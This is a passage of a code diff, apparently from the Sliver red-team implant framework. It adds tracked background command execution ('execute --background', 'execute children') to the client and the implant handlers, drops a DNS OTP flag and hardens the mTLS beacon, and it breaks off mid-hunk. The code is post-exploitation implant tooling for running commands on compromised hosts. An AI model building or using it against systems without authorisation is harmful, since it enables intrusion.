Compare commits

..
40 changed files with 4269 additions and 2647 deletions

No files matched your search

+15
View File
@@ -27,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", true, "capture command output")
f.Bool("background", false, "start the process in the background and track it")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
@@ -45,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
executeChildrenCmd := &cobra.Command{
Use: consts.ExecuteChildrenStr,
Short: "List tracked background execute child processes",
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ExecuteChildrenCmd(cmd, con, args)
},
}
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeCmd.AddCommand(executeChildrenCmd)
executeAssemblyCmd := &cobra.Command{
Use: consts.ExecuteAssemblyStr,
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
+106
View File
@@ -0,0 +1,106 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ctrl := make(chan bool)
con.SpinUntil("Querying execute children ...", ctrl)
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if execChildren.Response != nil && execChildren.Response.Async {
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteChildren(execChildren, con)
})
con.PrintAsyncResponse(execChildren.Response)
return
}
PrintExecuteChildren(execChildren, con)
}
// PrintExecuteChildren - Render execute children output.
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
if execChildren == nil || len(execChildren.Children) == 0 {
con.PrintInfof("No tracked background execute children\n")
return
}
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
for _, child := range children {
state := "running"
exitCode := "-"
if child.Exited {
state = "exited"
exitCode = fmt.Sprintf("%d", child.ExitCode)
}
started := "-"
if child.StartTime != 0 {
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
}
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
}
con.Printf("%s\n", tw.Render())
}
+26 -6
View File
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
background, _ := cmd.Flags().GetBool("background")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := output || saveLoot || saveOutput
if background && (saveLoot || saveOutput) {
con.PrintErrorf("The loot and save options are not supported with --background\n")
return
}
if output && beacon != nil {
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := !background && (output || saveLoot || saveOutput)
if captureOutput && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
EnvInheritance: envInheritance,
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
stderr, _ := cmd.Flags().GetString("stderr")
output, _ := cmd.Flags().GetBool("output")
background := false
if cmd.Flags().Lookup("background") != nil {
background, _ = cmd.Flags().GetBool("background")
}
if background {
// Background execution never returns inline output.
output = false
}
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
if exec.Pid != 0 {
if background {
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
return
}
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
con.PrintInfof("Process started\n")
}
return
}
+45 -38
View File
@@ -47,44 +47,45 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -135,6 +136,7 @@ var (
[[.Bold]]About:[[.Normal]] Execute a program on the remote system with optional arguments, note the subprocess
arguments are be separated from the sliver 'execute' arguments with '--'
Use [[.Bold]]--background[[.Normal]] to start the process without waiting for output (use [[.Bold]]--stdout[[.Normal]]/[[.Bold]]--stderr[[.Normal]] to redirect).
[[.Bold]]Example:[[.Normal]]
execute /bin/bash --env FOO=1 -- -c env
@@ -145,6 +147,11 @@ FOO=1
PWD=/Users/moloch/git/sliver
SHLVL=1
_=/usr/bin/env
`
executeChildrenHelp = `[[.Bold]]Command:[[.Normal]] execute children
[[.Bold]]About:[[.Normal]] List tracked background child processes started with [[.Bold]]execute --background[[.Normal]].
`
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
-1
View File
@@ -82,7 +82,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("no-canaries", "c", false, "disable dns canary detection")
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
})
// HTTP
+4 -6
View File
@@ -40,15 +40,13 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
EnforceOTP: !enforceOTP,
Domains: domains,
Host: lhost,
Port: lport,
Canaries: !canaries,
})
con.Println()
if err != nil {
+13 -3
View File
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
}
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
f.BoolP("output", "o", true, "capture command output")
f.BoolP("output", "o", execReq.Output, "capture command output")
f.Bool("background", execReq.Background, "start the process in the background and track it")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
execCmd := &cobra.Command{Use: constants.ExecuteStr}
execCmd.Flags().AddFlagSet(f)
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
exec.PrintExecute(execResult, execCmd, con)
case sliverpb.MsgExecuteChildrenReq:
execChildren := &sliverpb.ExecuteChildren{}
err := proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
exec.PrintExecuteChildren(execChildren, con)
case sliverpb.MsgSideloadReq:
sideload := &sliverpb.Sideload{}
err := proto.Unmarshal(task.Response, sideload)
+3 -2
View File
@@ -208,8 +208,9 @@ const (
GetGIDStr = "getgid"
WhoamiStr = "whoami"
ShellStr = "shell"
ExecuteStr = "execute"
ShellStr = "shell"
ExecuteStr = "execute"
ExecuteChildrenStr = "children"
LsStr = "ls"
MvStr = "mv"
+2 -1
View File
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
Title("Select packages or bundles to install").
Description("Use space to select and enter to install.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedNames)
form := huh.NewForm(huh.NewGroup(field))
+2 -1
View File
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
Title("Select updates to apply").
Description("Use space to select and enter to apply.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
Height(listHeight(len(selectOptions)) + 2).
Value(&result.SelectedIDs)
form := huh.NewForm(huh.NewGroup(field))
+8 -7
View File
@@ -2,13 +2,14 @@ package forms
import (
"errors"
"slices"
"strings"
"github.com/charmbracelet/huh"
"golang.org/x/term"
)
const defaultSelectHeight = 10
const defaultSelectHeight = 5
func getTerminalWidth() int {
// Try to get actual terminal width
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
field := huh.NewMultiSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
field := huh.NewSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
// huh.Select Height includes title/description, so add 1 for the title line.
Height(listHeight(len(options)) + 1).
Value(value)
if required {
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
*value = options[0]
return
}
for _, option := range options {
if option == *value {
return
}
if slices.Contains(options, *value) {
return
}
*value = options[0]
}
+9
View File
@@ -202,6 +202,15 @@ else
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
+204
View File
@@ -0,0 +1,204 @@
package handlers
import (
"os"
"os/exec"
"sort"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
maxTrackedExecuteChildren = 256
)
type executeChildEntry struct {
PID int32
Path string
Args []string
Stdout string
Stderr string
StartTime int64
Exited bool
ExitCode int32
ExitTime int64
Error string
cmd *exec.Cmd
}
var (
executeChildrenMu sync.RWMutex
trackedExecuteChildren = map[int32]*executeChildEntry{}
)
func trimTrackedExecuteChildrenLocked() {
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
return
}
// Prefer trimming completed entries first, oldest exit time first.
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
if entry.Exited {
exited = append(exited, entry)
}
}
sort.Slice(exited, func(i, j int) bool {
return exited[i].ExitTime < exited[j].ExitTime
})
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
delete(trackedExecuteChildren, exited[0].PID)
exited = exited[1:]
}
}
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
var (
stdoutFile *os.File
stderrFile *os.File
err error
)
startTime := time.Now().Unix()
if stdoutPath != "" {
stdoutFile, err = os.Create(stdoutPath)
if err != nil {
return 0, err
}
cmd.Stdout = stdoutFile
}
if stderrPath != "" {
stderrFile, err = os.Create(stderrPath)
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
return 0, err
}
cmd.Stderr = stderrFile
}
err = cmd.Start()
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
return 0, err
}
var pid int32
if cmd.Process != nil {
pid = int32(cmd.Process.Pid)
}
if track && pid != 0 {
entry := &executeChildEntry{
PID: pid,
Path: path,
Args: append([]string(nil), args...),
Stdout: stdoutPath,
Stderr: stderrPath,
StartTime: startTime,
cmd: cmd,
}
executeChildrenMu.Lock()
trackedExecuteChildren[pid] = entry
trimTrackedExecuteChildrenLocked()
executeChildrenMu.Unlock()
}
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
waitErr := cmd.Wait()
exitCode := int32(0)
waitErrStr := ""
if waitErr != nil {
if exitErr, ok := waitErr.(*exec.ExitError); ok {
exitCode = int32(exitErr.ExitCode())
} else {
exitCode = -1
waitErrStr = waitErr.Error()
}
}
if track && pid != 0 {
executeChildrenMu.Lock()
entry := trackedExecuteChildren[pid]
if entry != nil {
entry.Exited = true
entry.ExitCode = exitCode
entry.ExitTime = time.Now().Unix()
entry.Error = waitErrStr
entry.cmd = nil
}
executeChildrenMu.Unlock()
}
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
}(pid, cmd, stdoutFile, stderrFile, track)
return pid, nil
}
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
executeChildrenMu.RLock()
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
children = append(children, &sliverpb.ExecuteChild{
Pid: entry.PID,
Path: entry.Path,
Args: append([]string(nil), entry.Args...),
StartTime: entry.StartTime,
Exited: entry.Exited,
ExitCode: entry.ExitCode,
ExitTime: entry.ExitTime,
Stdout: entry.Stdout,
Stderr: entry.Stderr,
Error: entry.Error,
})
}
executeChildrenMu.RUnlock()
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
return children
}
func executeChildrenHandler(data []byte, resp RPCResponse) {
req := &sliverpb.ExecuteChildrenReq{}
err := proto.Unmarshal(data, req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
execChildren := &sliverpb.ExecuteChildren{
Children: snapshotExecuteChildren(),
Response: &commonpb.Response{},
}
data, err = proto.Marshal(execChildren)
resp(data, err)
}
+6 -11
View File
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
go func() {
cmd.Wait()
}()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
+20 -19
View File
@@ -33,25 +33,26 @@ import (
var (
darwinHandlers = map[uint32]RPCHandler{
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgExecuteChildrenReq: executeChildrenHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
+18 -17
View File
@@ -34,23 +34,24 @@ import (
var (
genericHandlers = map[uint32]RPCHandler{
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
+19 -18
View File
@@ -45,24 +45,25 @@ import (
var (
linuxHandlers = map[uint32]RPCHandler{
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgPsReq: psHandler,
sliverpb.MsgTerminateReq: terminateHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgScreenshotReq: screenshotHandler,
+26 -19
View File
@@ -96,21 +96,22 @@ var (
sliverpb.MsgMountReq: mountHandler,
// Generic
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
sliverpb.MsgPing: pingHandler,
sliverpb.MsgLsReq: dirListHandler,
sliverpb.MsgDownloadReq: downloadHandler,
sliverpb.MsgUploadReq: uploadHandler,
sliverpb.MsgCdReq: cdHandler,
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
}
if execReq.Output {
if execReq.Output && !execReq.Background {
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
}
execResp.Stderr = stdErrBuff.Bytes()
execResp.Stdout = stdOutBuff.Bytes()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
if startErr != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
Err: fmt.Sprintf("%s", startErr),
}
}
if pid != 0 {
execResp.Pid = uint32(pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
+24 -1
View File
@@ -37,6 +37,8 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"github.com/hashicorp/yamux"
// {{end}}
@@ -46,7 +48,6 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"net"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
if err != nil {
return err
}
if conn == nil {
return errors.New("[mtls] connect returned nil conn")
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
_ = conn.Close()
return err
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
_ = conn.Close()
return err
}
if muxSession == nil {
_ = conn.Close()
return errors.New("[mtls] failed to create yamux session (nil)")
}
return nil
},
Recv: func() (*pb.Envelope, error) {
if muxSession == nil {
return nil, errors.New("[mtls] recv called with nil yamux session")
}
stream, err := muxSession.Accept()
if err != nil {
return nil, err
}
if isNilInterface(stream) {
return nil, errors.New("[mtls] accept returned nil stream")
}
defer stream.Close()
return mtls.ReadEnvelope(stream)
},
Send: func(envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if muxSession == nil {
